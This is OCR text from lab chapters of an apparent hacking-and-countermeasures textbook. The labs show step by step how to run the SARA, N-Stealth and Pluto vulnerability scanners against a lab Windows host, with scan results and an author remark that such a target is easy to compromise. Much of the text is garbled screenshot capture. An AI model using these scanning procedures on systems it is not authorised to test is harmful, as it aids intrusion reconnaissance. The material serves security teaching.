checking whether cross-compiling... no

checking type of array argument to getgroups... gid_t
checking if sys_errlist is declared... yes

checking if system netinet headers work... no
checking for rpc includes... no

checking for ssl libraries to build ssh .. yes
checking for zlib libraries to build ssh .. yes
checking for rpcgen... fusr/bin/rpcgen

updating cache ./config.cache

creating ./config.status
creating Makefile
[root@localhost sara-6.0.7b1# ||

‘% Q S @ ‘l@MDZMIa-bm - e ‘

£\ Your version of ¥Mware Tools is oLt of date,

The next step is to create the SARA file by typing:
. /make

Red Hat Linux 8 Server - YMware Workstation o [=] 3

| Fle Edt view WM Team ‘windows Help

for rpc socket compatibility... no
checking for -lrpcsvc... yes
checking for -lsocket... no
checking for -lsun... no

checking for -1PW... no
checking for +DAportable... no

checking how to run the C preprocessor... gec -E
checking for asm/socket.h... yes
checking for linux/limits.h... yes

checking for stdint.h... yes
checking for TIRPC compatibility... no

checking for uid_t in sys/types.h... yes

checking whether cross-compiling... no

checking type of array argument to getgroups... gid t
checking if sys_errlist is declared... yes

checking if system netinet headers work... no
checking for rpc includes... no

checking for ssl libraries to build ssh .. vyes
checking for zlib libraries to build ssh .. yes
checking for rpcgen... fusr/bin/rpegen

updating cache ./config.cache
creating ./config.status

creating Makefile

[root@localhost sara 0.7b]# makel

Kongueror &

ald@ SUeF

) Your wersion of YMiare Toels is out of date., (=T

|®MDZMIa—bm A‘
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The SARA application will now be created.

=10 =]

| Fie Edt view Team Windows Help

|m m[pr &

can't find uudecode

AEEEIIII.. can't find uuencode

AEEETIII.. can't find rusers

Warning: Deprecated rpcclient. Load from www.samba-tng.org
Warning: Can't run nmap with $concurrent_processes > 1

0k, now doing substitutions on the shell scripts...
Changing paths in config/paths.pl...
Changing paths in config/paths.sh...

Now building CVE database

Now building FIFOs for SSS
SARA Self Scan (5S5) option not installed; no web server found running
make[1]: Leaving directory "/root/tools/SARA/sara-6.0.7b'

[root@localhost sara-6.0.7b]#

ald@ 8%

:l 2 ;' Kongqueror |7
3 f |®Mozﬂla-bm -‘ 7

£\ Your version of ¥Mware Tools is oLt of date,

To execute the SARA application type:
./sara

Red Hat Linux 8 Server - ¥Mware Workstation

| Fle Edt view Team Windows  Help

Session Edit View Settings Help

‘&

[root@localhost sara-6.0.7b]# ./saral

X % - l:l e g‘“ Konquerar &
‘ g Q @ BN | [@ voziabin +|

s

A Your version of YMware Toals is out of date

Gomw -
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The SARA application will start in Mozilla.

¥Mware Workstation o [w] 3]
| Fle Edt View WM Team ‘windows Help
Location Edit View Go Bookmarks Tools Settings Window Help
2 o -
2E5M G0 FObBS GKXAAJ D |
% B Location: | @ http://localhost.localdomain: 22112/ "| E
é @ Hijacking : The Complete Toolshox |
P -
¥ =l
g Security Auditor's Research Assistant (SARA)
c\i A ‘| D{
\
The Security Auditor's Research Assistant (SARA) is a third generation network oriented
security analysis and reporting tool developed by the Advanced Research Corporation. SARA is
C widely used in the U.S. Government and commercial communities. As such, it has been
@SARA Home v in-the-field validated on the current security exploits of Unix (Sun, SGI, AlX, Linux) and
{ | Microsoft Windows XX. Historically, we have been updating SARA once a month with
@SARA Search o emergency updates as required.
€
@ Data Management - @Hundreds of UNIX and Windows vulnerability probes (indexed by CVE)
. S £ @SANS/CIS approved for SANS Top 20 vulnerabilities
Target selection @Server mode for controlled enterprise access
3 o
®Dat Analysis ¢ @SARA ReportWriter (tm)
< @SARA Report Corrections and Drops
@ Configuration Mgt @SARA Plugins
@ Documents/CVE ¢
[ @Eriefing Overview of SARA
@Troubleshooting @ Additional Information on SARA
€
. . I
P E T
‘ E 4 (@ root@localhos | @) %323 11
; @ Mazilla-bin -~ (s
£\ Your version of ¥ware Tools is out of dats, BEEmw ~
. . .
On the left side of the screen click on Target selection.
us 8 Server - ¥Mware Workstation o [w] 3]

| Fle Edt View WM Team ‘windows Help

Location Edit View Go Bookmarks Tools Settings Window Help

24> HF0 Fabg SRA/Q T |

| B Location: | ®) http: flocalhost.localdomain: 22112/running/sara_run_form.pl v| 5
é @ Hijacking : The Complete Toolshox |
P -
. SARA Target Selection
- Primary target selection
-
€ Primary target host, network, or range.
“ Host exanpl. host. 1ocal
@SARAHome omts varple  mimart. Jocal.com myhost2 Jocal.com
( Metwork example 102.168.0.0/23 (two class C subnets)
@SARA Search “ Range evample  192.16.0.55-192.168.0.98
£ [iocalhost.localdomain |
@Data Management -
¢
@Target selection ’: @ Scan the referenced target(s), network(s), or range.
T ("1Scan hosts in the primary subnet (defined by a single target only). | |
@pata Analysis ¢
@ Configuration Mgt~ Scanning level selection
@ Documents/CVE £ Should SARA do a light scan, a normal scan, or should it hit the (primary) target(s) at full blast?
@Troubleshooting
€ Light
e - iNormal fmav he datectad aven with minimal lnnnina) =]
s = — —
7 2 |*| & roat@localhos | &) ;%g
S z z @ 23:11
H 3 | | ® Mazilla-bin  ~ Z 04

£\ Your version of ¥Mware Tools is oLt of date, =L I
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For the Primary Target Selection enter the target hostname or IP address.
In this example the target IP address is 172.16.1.46.

For the Scanning level selection, select Extreme. Click the Start the scan
button.

B Red Hat Linux 8 Server - ¥Mware Workstation =10 x|

| Fle Edt vew VM Team Windows Help

nlr @@ & inE

2E>2N B0 FOBRY LKA |

; E» Location: FBJ hitp:f/localhost.localdomain:43566/running/sara_run_form.pl "‘ ]
(O Hijacking : The Complete Toolsbox ‘
@SARA Home ¥ tosts exaple  myostl. local . can mybost2. ocal oo .
Wetwark example 192.168.0.0/23 (two class € subnets)
@ SARA Search 4 Rarge example  192.165.0.55-192.165.0.58

[172.16.1.46 |

v

@pata Management -

.
€ @ Scan the referenced target(s), network(s), or range. |
15can hosts in the primary subnet (defined by a single target only).

@Target selection

&
@pata Analysis

@ ion Mgt/ ing level sel

@ Documents/CVE } Should SARA do a light scan, a normal scan, or should it hit the (primary) target(s) at full blast?

@Troubleshooting

£ ) Light

- ) Normal (may be detected even with minimal logging)

() Heavy (emor messages may appear on systems consoles)
@ Extreme (some unpatched services may fail)

) Custom(SMB, Web,Mail, Telnet, FTP)

) Custom(TCP scan for MSDTC

 Custom(discavery only)
Start the scan
[
@ root@localhos | @)

%3 < Uel " oo

£ Your version of WMuware Tools is out of date Eemw

SARA will initialize the scan against the target.

8l Red Hat Linux 8 Server - VMware Workstation =[]

File Edit view yM  Team  Windows Help
" ulraleen ]

s Red Hat Linux 8 Server
hd SARA data collection - Kongqueror

Location Edit View Go Bookmarks Tools Seftings Window Help

2D B0 Fulbyg SKXA(D |

E» Location st hitp: flocalhost.localdomain: 2211 run_action.pl -‘ ]

(D Hijacking : The Complete Toolsbox ‘

SARA data collection

Data collection in progress...

66 B/s _ 25%

“‘% Q@ @ @ root@localho: | &) _-[‘ )0223:13

@ Mozillabin_ «
8\ Your version of ¥Mware Tools is ot o date. Ecmew
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In the status bar on the lower left of the screen you may receive a Stalled
warning. Be patient as SARA will continue on its own and complete the scan.

ed Hat Linus: 8 Server - YMware Workstation i oy [m]

| Fle Edt View WM Team ‘windows Help

ERNE

Location Edit View Go Bookmarks Tools Settings Window Help

2E5D 60 roBY LKA | &
i

> Location: | @ http://localhost.localdomain:43566/running/sara_run_action.pl "|

@ Hijacking : The Complete Toolshox |

I

SARA data collection

Data collection in progress...

=]

Stalled | 25%

@ CTHaBE @

A\ Your version of ¥Mware Tools is ouk of date =P

B

(@ root@localhos | @)
@ Mozilla-bin  ~

3

8.

23:20

S
vy

Once SARA has completed the scan, the results will be displayed in the browser.

Red Hat Linux 8 Server - YMware Workstation [ 13l x|

| Fle Edt vew m Team windows Help

RN EE A E =]

Red Hat Linux 8 Server
ESARA data collection - Kongueror,

Location Edit View Go Bookmarks Tools Settings Window Help

F2ECR G0 FuBRg aXaad |

B Location: Foj http:/flocalhost. localdomain:43566/runningfsara_run_action. pl ~|'El

@ Hijacking : The Complete Toolsbox |

“ SARA data collection

Data collection in progress...

Adding a primary target

Add-primary: wzkas

Deleting: w2kas|1122:UDP|a|x||||offers 1122:UDP

Deleting: w2kas|1112:TCP|a|||]|l|effers 1112:TCP

Deleting: w2kas|netbios-ssn|a|||]\1311000\000\0011143|offers netbios-ssn

Deleting: w2kas|1128:UDP|a|x||||effers 1128:UDP

Deleting: w2kas|domain|a|x||||offers domain

Deleting: w2kas|http|a|||||offers http

Deleting: w2kas|microsoft-ds|al||||offers microsoft-ds

Deleting: w2kas|msdtc|alycio| ANY@ANY | ANY@ANY|Potentially vulnerable MSDTC [VUL80868] |MSDTC may

Deleting: w2kas|kpasswd|a|x||||effers kpasswd

Deleting: w2kas|7778:TCPlall|l|offers 7778:TCP

Deleting: w2kas|3372:TCP|al|||ERROR\n|offers 3372:TCP
ine: = lloffers 3288:TCP

<

a®d T 0

A\ Your version of YMuare Todls is out of deta., [ =EID

-

(@ root@localhos | @)
@ Mozilla-bin

‘2328




408 ® Practical Hacking Techniques and Countermeasures

You can review the results now or scroll down to the bottom of the results
and click Continue with report and analysis.

Red Hat Linux 8 Server - YMware Workstation o [=] 3

| Fle Edt view WM Team ‘windows Help

s nre|ldai|oe

({3 Red Hat Linux § Server

AdSARA data collection - Konqueror
Location Edit View Go Bookmarks Tools Settings Windew Help

24EcoRN B0 FORY GKRAK S |

E» Location: | @ http:/flocalhost.localdomain:43566/running/sara_run_action.pl "| E

@ Hijacking : The Complete Toolsbox

AUGTECT: WERaS|SHLPTd [ £C10[ ANIEWZRGS [ANTENZRAS [SHIT COUIL UE 4 Wail [E1dy|FUSSIULE SHip Tetayy ]
==> running bin/timeout 120 bin/dns-chk.sara w2kas

Add-fact: w2kas|domain|a|zwoi|ANY@w2kas | ANY@w2kas |DNS Zone Transfers|DNS will dump domain data
==> running bin/timeout 120 bin/http.sara 7207:TCP w2kas

running bin/timeout 240 bin/smb.sara w2kas

running bin/timeout 120 bin/sample.sara.ext http w2kas

==> running bin/timeout 120 bin/http.sara http w2kas

Add-fact: w2kas|netbios-ssn|al||||Netbios Name|W2KAS

Add-fact: w2kas|netbios-ns|al|||Netbios Domain|HACKSYM

Add-fact: w2kas|netbios-ssn|a|ycio| ANY@ANY|ANY@ANY [Null Session|SMB: Null Sessions possible fro
running bin/timeout 120 bin/wms.sara w2kas

running bin/timeout 120 bin/depends.sara ms-rpc w2kas

Waiting for all processes to complete

==> running bin/timeout 120 bin/pnp.sara w2kas

Add-fact: w2kas||a|us|ANY@w2kas|ANY@w2kas|Plug and Play Vulnerability [VU998653]|PnP exploitabl
Add-fact: w2kas|7207:TCP|algl||||offers http on port 7207:TCP

Add-fact: wzkas|httplalg||||offers http

Data collection completed (1 host(s) visited).

Back to the SARA start page | Continue with report and analysis

<l ]
http://localhost.localdomain:43566/reporting/analysis.pl

E [ @ root@localhos | &) 2] .
‘% Q@ @ @ |@‘Mozw\la—bm ~‘ % 23:30

£\ Your version of ¥Mware Tools is out of date, =

[+
B

e »

The SARA Reporting and Analysis screen will be shown. Select the desired
report results. In this example, the SARA ReportWriter was selected.

Red Hat

ux 8 Server - ¥Mware Workstation o [=] b3

| Fle Edt view WM Team ‘windons Help

snre|lEaR|oo

Al Security Auditor's Research Assistant (SARA) Version Version 6.0.7b - Konqueror
Location Edit View Go Bookmarks Tools Settings Windew Help

FEoME0 robhg £4Kaad |

E¥ Location: | @ http:/flocalhost.localdomain:43566/reporting/analysis.pl '| E

Q Hijacking : The Complete Toolsbox |

= -
S &=
@SARA Home € SARA Reporting and Analysis
@sARA Search
Table of contents
@pata £
Management Vulnerabilities
-
@Target (’- By Approximate Danger Level
selection - By Type of Vulnerability
s By Vulnerability Count
@Data Analysis “
Hoft Information
@configuration
Mgt = By Class of Senvice
(’- By System Type B
e s By Intemet Domain
Documents/CVE - By Subnet
P ;. By Host Name
Troubleshooting _ ¢
Reporting
o

fm ‘s SARA ReportWiiter (includes SANS Top 20)
[+l & root@locaihos a)

a®@ clgmE ——F g

£\ Your version of ¥Mware Tools is out of date, =10

e »

©
w
w
S
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Accept the default settings.

*Note: SARA allows reports to be saved in other formats as well as the default HTML.
Other formats include Comma Delimited (CSV) and Extensible Markup Lan-
guage (XML).

Click the Generate Report button.

| Fle Edt View WM Team Windows Help
|®m m[p @
Location Edit Miew Go Bookmarks Tools Settings Window Help
A e " 9
e N G0 FOBIIRAAD |
? E¥ Location ‘ @ http:/flocalhost.localdomain:43566/running/sara_report_form.pl
; @Huackmg The Complete Toolsbox |
9 1=
;
& 15 % Select Report Type
Py AN | A
ORI
¢ .
- Select Report Options
@SARA Home P
. > _ Use Default Report Parameters
SARA Ry (® Select Report Options
€ Correct Report IAW config/corrections
@pata Management - Exclude Hosts with no Vulnerabilities
& [ Regenerate (required if corrections or option changes)
@Target selection '
; d
@pata Analysis
@ Configuration Mgt® Once started, Do Not Intemupt this process!
@ pocuments/CVE ;
@Troubleshooting °
¥
_denthay, P
Done.
- = = =5
I*am| ; 3 root@localhos | &) iz
S / ‘B g 2331
= L @ Mozillabin_» (" ]
A\ Your version of VMiwate Tacls Is out of date, =110

The SARA report of the scan results will now be displayed.

Red Hat Linux 8 Server - YMware Workstation B o [w] 3]

| Fle Edt View WM Team ‘windows Help

snife|lEGR|ODB

3 Red Hat Linux 8 Server
v Sensitive S_G-(u'rit\'!Infnrmalinn—Konquernr' 7 i

Location Edit View Go Bookmarks Tools Settings Window Help

242 HF0 Fabg S RA/Q T |

E» Location: | @ http:/flocalhost.localdomain:43566/running/sara_report_action.pl "| E

@ Hijacking : The Complete Toolshox |

8 December 2005

SARA Scan Results of sara-data.
INTRODUCTION
A Security Auditor’s Research Assistant (SARA) security scan was performed on hosts on the sara-data sub-nets. The SARA scan was performed to

identity potential security in the sara-data sub-domain. The scan was completed on 2005/12/D8 23:22:54 and its scan mode was set to
extrame. The version of SARA was Version 6.0.7b.

DISCUSSION
SARA s a third generation security analysis tool that analyzes network-based services on the target computers. SARA classifies a detected service in one
of five categories

Green - Services found that were not exploitable
Grey - No services or vuherabilties

Red - Services with potentially severe exploits (account compromise)
Yellow - Services with potentially serious explots found (data compromise)
Brown - Possible security problems.

Atotal of 1 devices were detected of which 1 are possibly vulnerable. Figure 1 summarizes this scan by color where the Green bar indicates hosts with no
detected vulnerabiities. Gray indicates hosts with no services. The Red bar indicates hosts that have one or more red vulnerabilties. The Yellow bar
indicates hosts that have one or mere yellow vulnerabilties (but no red). And the Brown bar indicates hosts that have one or more brawn problems (but no
red or yelow).

[~ [+

SN [~
Daone.

C % (5] @ roat@localhos | &)

‘ @ @ Mazilla-bin -~

£\ Your version of ¥Mware Tools is oLt of date, =L I

23:32

(N

s »
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By scrolling through the report, you can display various descriptions and charts.

*Note: Initially the SARA report will list the Appendices at the beginning of the report.
In this case you can consider the Appendices as a Table of Contents for the report.

Bl Red Hat Linux 8 Server - YMware Workstation =lolx|

File Edt Wiew VM Team ‘Windows Help

I
|

ux 8 Server

Location Edit View Go Bookmarks Tools Settings Window Help

FESCR S0 FeBS LS |

E» Location ‘ @ hitp:fflocalhost.localdemain:43566/running/sara_report_action.pl " IE'

@ Hijacking : The Complete Toolsbox

Atotal of 1 devices were detected of which 1 are possibly vuherable. Figure 1 summarizes this scan by color where the Green bar indicates hosts wih no

detected vulnerabilities. Gray indicates hosts with no services. The Red bar indicates hosts that have one or more red vulnerabilites. The Yeflow bar
indicates hosts that have one or more yellow vulnerabiities (but no red). And the Brown bar indicates hosts that have one or more brown problems (but no D
red or yellow).

Green (0) 1

Grey (0) 1

Red (1 I

Yellow (0)

Brown (©)

Figure 1 Host Summary by Color

The SARA scan resutts are distributed as appendices to this paper.

+ Appendix A

Sub-net tables depicting hosts, host-types, and vulnerabilty counts
+ Appendix B:
Details on the hosts reportad
+ Appendix C:
Vulnerabilties sorted by severity
= Appendix D

Description of the vulnerabilties.

are huner-linked tn assist the reader in navioating thranah this renart. The renart inclides infarmation an all hosts that have one or more. L]

@ CHagBH o 25

A Your version of YMware Tools is out of date, ==

1@ root@localhos | @)
@ Mozilla-bin -«

e

By scrolling down the report, specific details are revealed. In this screen-
shot SARA even identified nonvulnerable services on the target.

B Red Hat Linux 8 Server - YMwara Workstation -0l x|
| Fle Edt vew M Team Windows Help
|m mfp &8 @R|08 6]
ux 8 Server
hd Sensitive ;ecunty Information - Kongueror.
Location Edit View Go Bookmarks Tools Settings Window Help
/ o [ 3 @F
2@c® 60 Fobg “KAKd |
% E» Location ‘ @ http:fflocalhost.localdomain:43566/running/sara_report_action.pl v‘ 'EI
? (O Hijacking : The Complete Toolsbox |
-]
Appendix B
SARA Host Details
[ Name | P | Newsios | Netbios Domain | Operating System ‘
wakas [172.15.1.45 [wakas [HACKsYM [windows 2000 J D
Non Vulnerable services
afs3-bos (7007) eklogin (2105) http (80) https (443)
isakmp (500) kerberos (83} kpasswd (454) Hap (389)
Kaps (636) microsoft-ds (445) ms-rpe (135) ms-wbt (3389)
netbios-dgm (138) netbios-ns (137) ntp (123) supfiledbg (1127)
zephyr-ch (2103)
Vulnerabilities
Vulnerability Class/Data Severity CVE No. Top20
Plug and Play Vulnerability [VU998653] red
PnP exploitable via buffer overflow
Potentially vulnerable MSDTC [VU18D86E] yellow
MSDTC may be vulnerable ta buffer averflow
Done.
- B ™ = DL
|'|f 4 2 @ root@localhos | @] 4 i
; 723:33
‘% Ql SR | ® Mozilla-bin  ~ i 902
A\ our version of Yware Tools is out of date. Eome -
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Appendix B of the report is a list of the actual vulnerabilities identified on
the target.

Location Edit View Go Bookmarks Tools Settings Window Help
aeeoM B0 FEDY CRAQS | [
! B Location: hitp:/flocalhost.localdomain:43566/running/sara_report_action.pl |:| Tl
? (O Hiacking : The Complete Toolsbox
Py
Vulnerability Class/Data Severity CVE No. Top20
Plug and Play Vulerabilty [VUS98653] red
PP exploitable via buffer overfiow -
Patentially vulnerable MSDTC [VU180868] yellow 2
MSDTC may be vulnerable to buffer overflow
Null Session yellow CVE-2002-1117 W3
SMB: Null Sessions possible from arbitrary users 'CVE-2000-1200+
SMTP could be a mail relay brown ARC-2004-0015
Possible smip relay; MS may give a false positive
SNMPD available brown ‘CVE-1999-0815 us
Do you want snmp on Internet (public community) ‘CVE-1999-0294
DNS Zone Transfers brown ‘ARC-2004-0003
DNS will dump domain data to remote users
v
Done.
P =)\ — IR @ root@iocaino: | &) Jeed ]
S B 0 B g 2334
=g - E ER || | @ Mozilla-bin -| i '4
A& Yaur version of Yware Taols is out of date, [eN=1 1T

Appendix C reports the vulnerabilities by categories of severity.

i Red Hat Linux 8 Server - YMware Workstation

| Fle Edt vew v Team  windows  Help
(AE e EFO FOBY SRKRAAUD
¢ B Location: http:/flocalhost.loc _report_action.pl |:| 7|
7 (O Hiacking : The Complete Toolsbox
-
w2kas PnP explaitable via buffer overfiow
Z
w2kas MSDTC may be vulnerable to buffer overfiow
wikas SME: Null Sessions possible from arbitmry users.
wikas Possible smtp relay; MS may give a false positive:
w2kas Do you want snmp on Intermet (public community)
wikas DONS will dump domain data 1o remote users
5]
- 9 - ] T B
= = 4 2 g root@localhos | 4
&SeE JAm | | Exiocte 0 23:34
R - ‘2 LR || | @ Mozilla-bin 7
£ aur version of Yiware Tools s out of date, [s=1" 1T
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Click on the specific vulnerabilities located in Appendix B or C, and SARA
will take you to the specific area of the report containing the details of the
vulnerability. In this example, the PnP exploitable via buffer overflow
vulnerability is selected.

SARA provides:

B A general overview description of the specific vulnerability

mi&wﬁowmmmmwuﬁu
FEO D FO #@EQ dRAK/ S
;ﬁl.a:nm @ di _repont_action ple
§@mxum “The Complete Toolsbax

B The potentlal 1mpact
B The possible solution
B References

m Yiew Go Bookmarks Tools Settings Window Help
e w B0 #\EEQ dRAK/ S
sﬁwr{u di _repont_action ple
§@mxu1hcwm'roum
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B Applicable credits
B Other information

ed Hat Linux 8 Server - ¥Mware Workstation

@RE[I Hat Linux 8 Server

Location Edit View Go Bookmarks Tools Settings Window Help

2@ N %0 BRI dRAAS

é E» Location: hﬂn' localhost.loc _report_action.pl#VU998653

? @ Hijacking : The Complete Toolsbox

] mnt@localhusrli
@ Mozilla-bin
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Lab 66: Web Server Target Assessment
Assessment of Web Server Security: N-Stealth

Prerequisites: None

Countermeasures: Secure ACLs, Bastion computers

Description: The N-Stealth application is designed to perform a vulner-
ability assessment on Web servers. N-Stealth includes a database of
over 30,000 known exploits and attacks that are run against a target.
N-Stealth is designed to check local and remote Web servers.

Procedure: Install, start the application, set the parameters, and execute.

Double-click on the NStealth-Free-5-8b103 icon to start the installation.

....................................

Ntealth-Free-:
. 5-8bi103

The N-Stealth application will initially ask for a Language Selection. Make
a selection from the drop-down menu and click on OK.

Install the N-Stealth application with the default options. The installation
of N-Stealth will complete. Click Finish.

Bl windows 2000 Professional - YMware Warkstation
File Edt Yew %M Team ‘Windows Help

Completing the N-Stealth Free
Edition Setup Wizard

N-Stealth Fres Edition has been installed on your computer,

Click Finish to close this wizard,

< Back I Finish I Gance

ethT il

Astart || 1] & =53 || SyEwwindonsisteath |[JEIn-stealth free Edition .. GG oz
Bemw .
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Double-click the N-Stealth Free Edition icon to start the application.

kh Fr
Editian

The N-Stealth application will start and ask to verify the language choice.
Select the option Set as my default language so this will not occur the next
time the application starts. Click OK.

lows 2000 Professional - ¥Mware Workstation

File Edit Y¥ew %M Team Windows Help

nprelGoiRloa ™

Importart Waming

This computer program is protected by copyright law and irternationsl treaties
Unsuthorized repraduction or distribution of this program, or any portion of i,

may result in severe civil and criminal penalties, and wil be prosscuted to the
maximur extent possible under the law. By running this software, you agree
1o take fUl responsakiiity of any possikle conssgUEnce of ts usage.

License Information
This copy of N-Stealth has been licensed to be used by:

By using, copying, transmiting, distriuting or instaling N-Stesth Hitp fl
Security Scanner Fres Ecition 55 ("N-Stealth®), you agres to sl of the terms:
of this agresmert ('License"). Al rights f any kind in N-Stealth which are |

Current Settings
English
W =&t as my defautt language

LibnethT.dil

iﬁstartm & 3 H Y EWindowsiN-Stealth

|[@N-Stealth HTTP Securi... ¢ 411PM
Eemw
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The Security Scanner screen will appear. Enter the target IP Address or
Hostname in the Host Address field. Click on Start Scan.

dows 2000 Professional - YMware Workstation

File Edit %ew %M Team Windows Help

njralpoblEam

Host pddress
17216148
Frotocal Fast Track

@ HTTP © HTTR/S I™ Enable Fast Track

Scanner

Events
Preferences

Standard Scan
Vulnerabilities Checks

Address Type

£ Host Addiess & File List 7 Subret Range

Start Scan Clear Scan | Scan Method ¥

Astart || ] @ 1 || Sumpwndonsinseath  |[§N-stealth HTTP Securi.. 412PM
EEmy

N-Stealth will ask if you want to add this target to the host list? Click Yes.

idows 2000 Professional - YMware Workstation

File Edit ¥ew %M Team Windows Help

nprejgoilEal®

Host fddress
17246146

Protacal Fast Track

& HTTP © HTTP/S ™ Enable Fast Track
Host List -

Preferences Doyouwant to add to the host lisk 7

Vulnerabilities Checks Yes Mo

Address Type

@ Host Address € File List € Subnet Range

Stert Scan Clear Scan Scan bethod ¥

Astart|| 1) & =3 || SyEwpwindonsisteath [N stealth HTTP Securi.. w1zpm
Eemw .
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The scan will initiate against the target. The free version includes more
than 20,000 exploits while the paid version includes more than 30,000.

nprejgoilEal®

|| G windows 2000 Professional

Evert

" Checking allowed HT TP methos:

/GET HE&D PROPFIND OPTIONS PUT DELETE TRACE PROPPAT.
Scanner o Adding 20213 signatures tathe scanning engine.

i Events |  Starting Common HTTP Explokt check..
Microsoft115/5.0

Standard Scan

|

I™ Bause scanning

SiopScen ¥ Open Report Manager

- -

#4883 0f 20203 | Exploiting 468 (2%)

hstart ||| 1] & <5 H CUEpwindowsitistealth  |[{in-stealth HTTP Securi... 413PM
Bomw

Once the scan completes, the N-Stealth Report Manager will appear. Click
on the report and then click the Summary button.

1172161

2

Generate

|[@n-stealth HTTP Securi...
Eemw

& =3 || SEwndonsipiStealth
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An N-Stealth Scanning Results Summary report for the scan will appear
listing the overall results of the scan. N-Stealth offers the ability for reports to
be generated in either HTML or XML format. For this example, click the
Generate HTML button.

lows 2000 Professional - Mware Workstation

le Edit View V¥M  Team Windows Help

4 ¥ N-Stealth HTTP Security Scanner - Free Edition i
l'i -
i N-Stealth Report Manager N

ool 172.16.1.46
2.1 Scan complete

N-Stealth So Results Summ
Server. Microsoftl15/5.0

Iritial ime: Fri Nov 16 16:12:27 2005
Scanving Time: 282 seconds)
Scanring method: Standard Scan
Mumber of securiy checks: 20213
Mumber of checks scanned: 20213

Number of remote directories discovered: 4
Number of possible vunerabilities found: &1

Number of high level vulnerabiliies found: 0
Mumber of medium level vulnerabiiiies found: 45

Generate HTML | Generate XML |

LibnethT.dll

dRistart||| 1) @& S H {E R Windowsii-Steakh

| [ ~-stealth nrTe secun.. ¢ H17 PH
BEcmw 4

The Report Generation screen appears. Verify your HTML format selection,
accept the default location for the report, and enter any specific custom notes
to be included in the report. Click OK.

3 * N-Stealth HTTP Security Scanner - Free Edition. i
Ll B
B N-Stealth Report Manager 1l =101 x|

Report Generation |

 Generate a HTML Report Choose a diferent flename and location (i applicable]
 Generate a kML Report [C:4Progiam Files\N-Stealth Free Ediiorivepots 5|

[ Choose the desired fomat: "F\Ie Location

Custam Nates [to be included in the report):

Witually Hacking Lab 70 -N-Stealth-

Cancel

foEigR  ausem
EEmw

fRstart||| 7 @ 153 || uEswindonsitsteatth |[N-Stealth nTTP Securi..
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The Report Generator will create the report and display an information
window. Click OK.

0 Prulessional - YMware WorksLation

DB EE Y =

q ealth Beport Manager i3 i

Peport Bererstion |

Lhooss the desed lomst Fi Locatin
= e sle & HTML Reporl Chaoae a diferert fisname and location (i appiicable]

€ Garmialn a3HL Fopeet [E Frogsasm Fles NSieath Fres Edirluepons &2

Cuthom Hoted [ba be included i\mmm x|

Visunlly Hacking Lab 701 4 Sanalth
FRepert successhully generated,

==

|f e saeem
RBomki

Double-click the report from the directory N-Stealth saved the report to.

The N-Stealth report will open in the Web browser. Any Custom Notes
entered prior to the scan will be displayed in the Notes section.

2000 Prolessional - YMware WorksLation

Fin Edt View VM Tram Windows Help |

Bl ®|GHE s En |
&y Fedvat Lo | FeafeLne D Server | |7y Vindows 2000 Server | [ Wedteiz

146 - Microsoll Internel Exglarer

| Adidress [ ¢\Progrom Fies!-Stoith Feee Fdbionlropart |1 72. 16,1 46_1 132351517 himl =] @ ||k =

N-5STESITT SECUTITY REPOTT =]

% J
Summary for 172.16.1.46

Hostname (URL): httpo i 472 06.1.46

e Server: MicrosofLlis/o.0
[T1.76% ] pate: FriNov 18 16:12:27 2005
Scanning Time 282 second{s)
Scanning Methed: “randard Scan
Mumber of Security Checks: 20213
Total Scanned Signatures: 70713

Total Vulnerabilities Found: 51

Naotes
Virtually Hacking Lab 70 -N-Stealth =
Ture [ =y Compuder
B A 8 || |® | e |- [[Evstestnn.. | E8 s00rm

Boma
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By scrolling down the screen the specifics of the screen are shown, including:

B The Vulnerability Name

The Risk Level (High, Medium, Low)

Bugtraq ID number

CVE 1D

An HTML link to the target demonstrating the exploit

Bl Windows 2000 Professional - ¥Mware Workstation ] 3]

File Edit ¥ew %M Team Windows Help

/J N-Stealth Report for 172.16.1.46 - Microsoft Internet Explorer

Fle Edt Wiew Favortes Tools Help ‘

ok - = - @D 2] | Qoearch GiFavoriies (HHistory | Y- S

Address [{£] C\Program Filesiti-Steakth Free Editionireports|172.16.1.46_1132351947.htrl x| @ H Links
Vulnerabilities List B
. High Level Vulnerabilii [ |

No High Critical Vulnerabilities found.

Common WinCGI Vulnerability/Exploit
Risk Level: Medium
Bugtrag ID: 0
CVE ID: CVE-MAP-NOMATCH
Location: http://172.16.1.46 les/details.idg

Vulnerabhility details and fix recommendations are availahle on commercial version.

Common WinCGl Yulnerability/Exploit
Risk Level: Medium
Bugtrag ID: 0
CVE ID: CVE-MAP-NOMATCH
Location: http://172.16.1.46/cgi-hin'samples/details.idg

Vulnerabhility details and fix recommendations are availahle on commercial version.

-
&1 Done [ [ = my compurer
;ﬁstartm o & H AR Windowsib-. ., | {Pt-Stealth HTTR 5... | {_4CH\Program Files), . || £7N-Stealth Repor...  |<{-[EI8E  +:z0Pm
Bomw

*Note: Many times the HTML link will not provide anything useful, but I can tell you
from experience with this application that when you receive this many hits
on a target, the target itself has not been updated in quite a while. It should
be fairly easy to compromise.
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Lab 67: Vulnerability
Exploit Data from Targe

Prerequisites: None

Scanner
t Computer: Pluto

U L ‘l’
Windows

Countermeasures: Secure ACLs, Bastion computers

Description: An overall security scanner, including a multithreaded port
scanner, Common Gateway Interface (CGID) scanner, port fingerprint-
ing, Microsoft Structured Query Language (MSSQL) audit, FTP audits,
SMTP audits, Network Basic Input/Output System (NetBIOS) audits,

and password audits.
Procedure: Start, set the

Open the audits.ini file.

Enter the correct path the

parameters, and execute.

* audit files and save.

8] Windows 2000 Professional - ¥Mware Workstation o [=]
File Edt ¥ew %M Team Windows Help
nre @k o8B
- (3 Windows 2000 Professional
indows'pluto 1= x|
WMo R Gan Eomice st e ‘
daBack ~ = - 3] | @search [hFolders (PHistory | B2 B X w2 | E2-
Address [ Esliwindowsipluta =] P ‘
¥ [ e — i — — — —
LC] | M} audits - Notepad =18 x|
- File Edit Format Help "
[Audits] =
pll.lL SMTP = E:\x\windnws\[lﬂutn\smtp.aucﬁt _I
W = EDpOWTndowshp lutohwww, audit
FTP = Erpawindows\plutohFrp. audit
Canfiguration St MISC = E:\x\winduwsgllﬂ utovmisc. audit
Cal = Ervawindowshplutohcgi. audit
Modified: 1/20/2C
Size: 136 bytes
Attributes: (norm
Type: Configuration Settings Size: 136 bytes 136 bytes | Internet
Astart || 1] @ 31 || Bcwmnnisystemsziond... | Cyeixiwindowsipito |[Z2audits - Notepad J B siem
Comew s
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Double-click the Pluto icon to start the application.

3

Pluto

The Pluto scanner will start with the Address field highlighted.

Bl Windows 2000 Professional - ¥Mware Workstation

File Edit Yiew ¥M Team ‘Windows Help
e & e

{53 Windows 2000 Professional
& Pluto - version 1.3

File Prefersnces Help

Address
